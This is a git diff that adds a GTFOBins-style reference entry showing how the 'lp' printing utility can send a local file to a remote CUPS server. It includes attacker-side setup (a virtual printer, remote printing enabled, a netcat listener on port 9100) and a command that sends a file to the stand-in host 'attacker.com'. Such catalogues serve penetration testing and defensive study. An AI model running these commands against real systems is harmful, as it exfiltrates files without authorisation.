diff --git a/_gtfobins/lp.md b/_gtfobins/lp.md new file mode 100644 index 0000000..cd5958f --- /dev/null +++ b/_gtfobins/lp.md @@ -0,0 +1,16 @@ +--- +functions: + file-upload: + - description: To collect the file run the following on the attacker box (this requires `cups` to be installed): + + Run `lpadmin -p printer -v socket://localhost -E` to create a virtual printer. + Run `lpadmin -d printer` to set the new printer as default. + Run `cupsctl --remote-any` to enable printing from the Internet. + Run `nc -lkp 9100`. + + Send a local file to a CUPS server. + code: | + LFILE=file_to_send + RHOST=attacker.com + lp $LFILE -h $RHOST +---